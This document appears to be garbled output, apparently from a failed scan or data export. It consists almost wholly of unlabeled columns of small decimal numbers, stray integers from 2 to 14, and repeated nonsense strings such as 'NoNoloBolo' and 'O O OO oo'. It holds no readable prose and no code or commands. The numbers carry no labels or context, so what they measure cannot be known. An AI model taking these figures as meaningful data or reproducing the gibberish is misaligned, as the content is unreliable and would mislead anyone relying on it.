.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000

O O OO OO OO o oo

[eNoNoNoBoNoNoNololoBoNololNoBoNololNololNoBoNeolNoNolNoNoNoloNololNololNololololNolNolNe]

.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000016
.000035
.000001
.000000
.000012
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000

O O OO OO OO ooOo

[eNoNoNoNoNoNoNololoBoNololNoBoNololNololNoBoNolNoNolNoNoNoloNoloNololNololololNeolNolNe]

.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000023
.000051
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000006
.000009
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
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(@)

[eNeoNoNoloBoloNoNoNoNoNoRololoNoNoNoNoNolololoNoNoNoNoloholololoNoNoNoNolNololololelNolNo)

OO OO OO oo

.000000

2

.022030
.973056
.057391
.003608
.000016
.000078
.000003
.000001
.000002
.000000
.000002
.000003
.003944
.032503
.013409
.042314
.000928
.412078
.002809
.137580
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

3

.479940
.462668
.058976
.968899
.002463
.016159
.000003
.000001

(@)

[ecNeoNoNoloBoloNoNoNoNoNoRolololNoNoNoNoNolololoNoNoNoNoloholololoNoNoNoNolNolololololNolNo)

OO OO OO oo

.000000

.002541
.994810
.001581
.000002
.000017
.000050
.000007
.000002
.000004
.000003
.000002
.000001
.000000
.000001
.023734
.037711
.055368
.000888
.000000
.001899
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001457
.996962
.001580
.000002
.001229
.000050
.000007
.000002

(@)

[eNeoNoNoloBoloNoNoNoNoNoBolololNoNoNoNoNolololoNoNoNoNoloholololoNoNoNoNolNolololololNolNo)

OO OO OO oo

.000000

.045132
.474628
.488511
.000004
.000017
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.010557
.037447
.000401
.016843
.000000
.082114
.000026
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047277
.464212
.487966
.000004
.004770
.000001
.000000
.000001

lcNoNoNoloBoloNoNoNoNoNoBolololNoNoNoNoNolNololoNoNoNoNolNoNolololoNoNoNoNoNololole)

[oNeoNeNoNe]

.000000

.000006
.000012
.000000
.000000
.000004
.001889
.000002
.000002
.002396
.000001
.000000
.013531
.000000
.000000
.002966
.000000
.006546
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000006
.000012
.000000
.000000
.000004

lecNoNoNoloBoloNoNoNoNoNoBololoNoNoNoNoNolNolololNoNoNoNolNoNololololNoNoNoNolNolololNe]

[oNeoNeNoNe]

.000000

.000008
.000018
.000000
.000000
.000000
.000001
.000000
.000000
.011413
.000000
.000000
.000000
.018225
.026596
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000996
.005253
.000000
.000000
.000000
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oNeoNoNoNoNoNoNoNoRoNoholNoNoNolNoNoNoloNoloNoloNoholNoholoNoNolNololNolNolNo)

[eoNoNoNoNoNoNolohoNolNololNololololNe]

.000002
.000000
.000002
.000003
.000001
.000004
.000002
.000005
.000000
.000028
.000000
.000008
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

4

.476793
.464231
.059583
.985383
.000016
.004568
.000003
.000001
.000002
.000000
.000002
.000003
.000001
.000004
.000002
.000005
.000000
.000030

oNeoNoNoNoNoNoNoNoRoNohoNoNoNolNoNoNoloNoloNoloNoholNoholoNoNolNololNolNolNo)

[eoNoNoNoNoNoNoloholNolNololNololelolNe]

.000004
.000003
.000002
.000001
.000000
.000001
.000003
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001454
.996966
.001581
.000002
.003946
.000050
.000007
.000002
.000004
.000003
.000007
.000001
.000000
.000001
.000003
.000004
.000006
.000000

ocNeoNoNoNoNoNoNoNoRoNoholNoNoNoNoNoNoloNoloNoloNololNoholoNoNoNololNolNolNo)

[eNoNoNoNoNoNoNololoNolNololNololelolNe]

.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000026
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047263
.464771
.487924
.000004
.001171
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006

ocNeoNoNoNoNoNoNoNoRoNoholNoNoNoNoNoNolBoNoloNoloNololNoholoNoNoNololNolNolNo)

leoNoNoNoNoNoNololololololNolNo]

.000000
.000002
.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000006
.002966
.000000
.000000
.000004
.000000
.000002
.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000

eocNeoNoNoNoNoNoNoNoRoNoholNoNoNoNoNoNolBoNoloNoloNoholNoholNoNoNoNololNolNolNo)

leoNoNoNoNoNoNololololololNolNo]

.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.001700
.000018
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
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cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

[eNeoNoNeoloRolNolNoNoNoNolNoNolololNoNoNoNoNolololololNolNolNolNo]

.000000
.000011
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

5

.476570
.463846
.059721
.984586
.002402
.009678
.000003
.000001
.000002
.000000
.000002
.000003
.000001
.000004
.000002
.000005
.000000
.000042
.000000
.000010
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005

cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

[eNeoNoNeoloRolNolNoNoNoNolNoNolololNoNoNoNoNolololololNolNolNolNo

.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001447
.996972
.001577
.000002
.000017
.000050
.000007
.000002
.000004
.000003
.000004
.000001
.000000
.000001
.000002
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006

cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

[eNeoNoNeoloRolNolNoNoNoNolNoNololBolNoNoNoNoNolololololNolNolNolNo]

.000026
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047236
.464839
.487941
.000004
.001201
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000026
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004

cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

eNeoNoNoloRoloNoNoNoNoNoNolololBoNoNoNoNolNolNolololNe]

.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000006
.001853
.000000
.000000
.000004
.000000
.000002
.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011

cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

eNeoNoNoloRoloNoNoNoNoNoNololoBoNoNoNoNoNolNololNolNe]

.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000008
.000018
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
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oleoNoNoNoNoNololNololololNelNolNe]

[eoNoNoNoNoNoNolololoNoloNoBoNololNololNoNoNoNoNolNolNolNoloNoBoNololNololNololNolNo)

.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

6

.475836
.464442
.059836
.985644
.001322
.006121
.000003
.000001
.000002
.000000
.000002
.000002
.000001
.000004
.000002
.000005
.000000
.000028
.000000
.000021
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064

oleoNoNoNoNoNololNololololNelNolNe]

[eoNoNoNoNoNoNololoBoNololNoBoNololNololNoNolNoNoNolNoNolNoloNoBoNololNololololNeolNo)

.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001433
.996990
.001577
.000002
.000017
.000050
.001157
.000002
.000004
.000003
.001820
.000001
.000000
.000001
.000002
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000

oleoNoNoNoNoNololNololololNelNolNe]

[eNoNoNoNoNoNoNolololoNoloNoBoNololNololNolNoNoNoNoNoNolNoloNoBoNololNololNololNolNo)

.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047236
.464823
.487927
.000004
.001201
.000001
.000000
.000001
.000000
.000000
.000000
.000008
.000001
.000004
.000000
.000002
.000000
.000006
.000026
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015

oleoNoNoNoNoNololNololololNelNolNe]

eoNoNoBoNoNoNolololololoNoBoNololBolNolNoNoNoNolNolololololNololNololNolNolNo]

.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.001242
.001226
.000000
.000000
.000004
.000001
.000002
.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001

oleoNoNoNoNoNololNololololNolNolNe]

eoNoNoNoNoNoNololoBoNoloNoBoNolololNolNoNoNoNolNolNololololNololNololNolNolNo]

.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000008
.000018
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
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[eNeoNoNoloRoloNoNoNoNolNoNolololoNoNoNoNoNololoNololoNoNoNoNoNolNoloNoNoNoNoNolNololololNe] O O O O o

o O O o

.000001
.000019
.000000
.000000
.000000

7

.475390
.464774
.059872
.965381
.004111
.012514
.000003
.000001
.000002
.000000
.000002
.000002
.000001
.000004
.000002
.000005
.000000
.000031
.000000
.000012
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

8

.475032
.465096
.059949
.928500

[eNeoNoNoloRoloNoNoNoNoNoNolololoNoNoNoNoNolNoloNololoNoNoNoNoNoNololoNoNoNoNolNololololNe] O O O O o

o O O o

.000000
.000000
.000000
.000000
.000000

.001452
.996971
.001588
.000636
.005886
.000050
.000007
.000002
.000004
.000003
.000003
.000001
.000000
.000001
.000002
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001417
.996994
.001576
.000002

[eNeoNoNoloRoloNoNoNoNoNoNolololoNoNoNoNoNoNololNololoNoNoNoNoNoNololoNoNoNoNolNololololNe] O O O O o

o O O o

.000075
.000000
.000000
.000000
.000000

.047195
.464877
.487731
.000004
.005095
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000026
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047090
.465180
.487835
.000004

O O O O o

lecNeoNoNoBoBoloNoNoNoNolNoNolololNoNoNoNoNolNoBolololNoNoNoNoNolololNolNoNoNolNolNolN ool o]

.000000
.000001
.000000
.000000
.000000

.001106
.002967
.000000
.000000
.000004
.000000
.000002
.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000006

O O O O o

lecNeoNoNoloBololNoNoNoNoNoNolololNoNoNoNoNoNololololoNoNoNoNolNololNolNoNoNolNolNolNol o]

.000000
.000000
.000000
.000000
.000000

.002065
.000018
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.007943
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oNeoNoNoNoNoNoRoNoBolNololNololNoNoNoNoNoNolNoNoloNoBoNololNolololNoloNolNolNolNeolNolNolNo)

[eNoNoNoNoNoNoNololololeololNe]

.010458
.031579
.000003
.000001
.000002
.000000
.000002
.000002
.000001
.000004
.000002
.000005
.000000
.000026
.000000
.000008
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

9

.473741
.466310
.059805
.758014
.018449
.138762
.000003
.003417
.000002
.000000
.000002
.000002
.000001
.000004

oNeoNoNoNoNoNoRoNoBoNoloNolololNolNoNolNoNolNoNoloNoBoNololNolololNolNoNolNolNolNoeolNoNolNo)

O O OO OO0 ODOOOoOOo oo

.006657
.000050
.001175
.000002
.000004
.000003
.000003
.000001
.000000
.000001
.000002
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001339
.997085
.001583
.000629
.021378
.000050
.000007
.000002
.000004
.000003
.000002
.000001
.000000
.000001

oNeoNoNoNoNoNoBoNoBolNoloNololNoNolNoNoNoNolNoNoloNoBoNoBolNolololNoloNoNolNolNeolNoNolNo)

[ecoNoNoNoNoNoNololololeololNe]

.005178
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000026
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046950
.465215
.488081
.000004
.014572
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004

oNeoNoNoNoNoNoRoNoBoNoBoNololoNolNoNoloNolNoNoloNoBoNololNolololNoloNolNolNolNeolNoNolNo)

OO O OO0 Ooo oo

.003938
.000000
.000000
.000004
.000000
.000002
.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000006
.018983
.000000
.000000
.000004
.000000
.000002
.000002
.000001
.000001
.000000

oNeoNoNoNoNoNoRoNoBolNoloNololNoNoNoNolNoNolNoNolBoNoBoNololNolololNolNoNolNolNolNoeolNolNolNo)

OO OO OO0 OoOOo oo

.004361
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.009889
.015693
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
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cNeololoNoNoNoNoNoNololNoNoNoNoNoNoNolololoNoNoNoNolNolololNe)

leNeoNoNoloRolNolNoNoNoNolNoNolololoNoNoNolNolololNelNe)

.000002
.000005
.000000
.000025
.000000
.000007
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

10

.473902
.466294
.059824
.823118
.015040
.101963
.000003
.000001
.000002
.000000
.000002
.000003
.000001
.000004
.000002
.000005
.000000
.000025
.000000
.000007
.000000
.000000
.000000
.988321

cNeololoNoNoNoNoNoNololoNoNoNoNoNoNolololoNoNoNoNolNolololNe

leNeoNoNoloRolNolNoNoNoNolNoNolololoNoNoNolNololNolNelNe)

.000002
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001375
.997042
.001603
.000644
.014178
.000051
.000007
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000016

cNeololoNoNoNoNoNoNolololNoNoNoNoNoNolololoNoNoNoNolNolololNe

leNoNoNoloRolNolNoNoNoNoNoNolololoNoNoNolNololNolNelNe)

.000000
.000002
.000000
.000006
.000026
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047067
.464852
.488086
.000004
.014711
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000026
.000000
.000000
.000000
.000000
.000026

cNeololoNoNoNoNoNoNololoNoNoNoNoNoNolololoNoNoNoNolNolololNe

cNeoNoNoloRoloNoNoNoNolNoNolololNolNolNolNolNolNo]

.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.001237
.007141
.000000
.000000
.000004
.000026
.000002
.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083

cNeololoNoNoNoNoNoNololoNoNoNoNoNoNolololoNoNoNoNolNololNolNe)

cNeoNoNoloRoloNoNoNoNoNoNolololNolNolNolNolNolNo]

.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.004749
.016984
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
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olNeoNoNoNoNoNoBoNoloNololNololololNelNolNo]

eNoNeoNoNoNoNoNololoBolNoloNoloNolololNolNoNolNoNoNolNolololNolNolNolNelololNo)

.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

11

.475072
.465104
.059833
.849962
.009865
.079744
.000955
.003309
.000002
.000000
.000003
.000003
.000001
.000004
.000002
.000005
.000000
.000025
.000000
.000007
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010

oNeoNoNoNoNoNoRoNololNololNololololNolNolNo]

eloNeoNoBoNoNoNololoBoNoloNoloNolololNolNoNolNoNoNolNololNoNolNolNolNelololNo)

.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001385
.997012
.001589
.000002
.015137
.000051
.000007
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002

oNeoNoNoNoNoNoRoNololNololNololololNolNolNo]

eNoNeoNoBoNoNoNolooBoNololNoloNolololNolNoNolNoNoNolNololNoNolNolNolNolololNo)

.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047070
.464844
.488565
.000004
.008814
.000736
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000027
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010

oNeoNoNoNoNoNoRoNoloNololNololololNolNolNe]

[coNeoNoNoNoNoNolooBoNoloNoBoNeololNololNoloNoNoNolololololNololNe]

.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.002188
.010627
.000000
.000000
.000004
.001232
.000002
.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001

olNeoNoNoNoNoNoBoNoloNololNololololNolNolNe]

[coNeoNoNoNoNoNolooBoNoBoNoBoNeololNololNololNoNoNolololololNololNe]

.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.004711
.012511
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
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OO OO OO o oo

[ecNeoNoNoNoRololoNoNoNoNoNolNoBoloNoNolNoNoNoNololololoNoNoNoNoNoNololBolNoNoNolNolNolNolololNe

.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

12

.475292
.464875
.059822
.803613
.015578
.112511
.001001
.002311
.000002
.000000
.000002
.000003
.000001
.000004
.000002
.000005
.000000
.000025
.000000
.000007
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

13

OO OO OO o oo

[ecNeoNoNoNoRololoNoNoNoNoNolNoRoloNoNolNoNoNoNololBolololNoNoNoNoNoNolololNoNoNoNolNololololNe]

.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001391
.997020
.001647
.000002
.010350
.000051
.002098
.000002
.000005
.000003
.000002
.002799
.000000
.000001
.000003
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

OO OO OO o oo

[eNeoNoNoNoRololoNoNoNoNoNolNoRolNoNoNolNoNoNoNololololoNoNoNoNoNoNolololNoNoNoNolNololololNe

.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047076
.464358
.488592
.000005
.011988
.000738
.000000
.000001
.000997
.000001
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000027
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

OO OO OO o oo

lcNeoNoNoNoRololoNoNoNoNoNoloholNoNoNoNoNoloNolololoNoNoNoNolNololololNoNolNolNolNolNol o]

.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.001224
.009527
.000656
.000000
.000004
.000001
.000002
.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

O O OO OO o oo

lcNeoNoNoNoRoRoloNoNoNoNoNoloRolNoNoNolNoNolNoNolololoNoNoNoNolNololololNoNolNolNolNolNoll o]

.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.004685
.018870
.000000
.000000
.000000
.000001
.000000
.000000
.000854
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000
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oNoNoNoNoNoNeoRolNoBolNoNoNoNolNoNolNoNoloNoloNoBolNoloNoNolNolNoloNoloNololNololNololeololNolNolNe]

O O OO OO OoOooo

.476219
.463960
.059723
.825315
.012218
.097798
.000003
.002394
.000002
.000001
.000006
.001498
.000001
.000004
.000002
.000005
.000000
.000025
.000000
.000007
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

14

.477242
.463035
.059791
.907432
.005776
.029298
.001022
.001414
.000002
.000000

oNoNoNoNoNoNoRolNoholNoNolNoNoNoNolNoNoloNoNoNoBolNoloNoNolNolNoloNoloNololNololNololeololNeolNolNe]

O O OO OO OooOooo

.001428
.996926
.001621
.000004
.008394
.000052
.000007
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001426
.996952
.001594
.000002
.008788
.000051
.001197
.000002
.001486
.000003

oNoNeoNoNoNoNoRolNololNoNoNoNoNoNoNoNoloNoloNololNoloNoNolNolNolNoNoloNololNololNololeololNolNolNe]

O O OO OO OooOooo

.047097
.464311
.488841
.000004
.019051
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000027
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047144
.464015
.488869
.000004
.007187
.000001
.000000
.000001
.000000
.001461

oNoNeoNoNoNoNeoRolNoBoNohoNoNolNoNolNoNoloNoNoNoBolNoloNoloNohNoloNololNololNololNololNollo)

O O OO o oo

.000006
.008909
.000000
.000855
.000004
.000001
.000002
.001440
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000006
.005056
.000000
.000000
.000004
.000004
.002320

oNoNoNoNoNoNeoRolNoBoNohoNoNolNoNolNoNoloNoNoNololNoloNoloNolNolNoNololNololNololNololNollo)

OO OO o oo

.005316
.016591
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
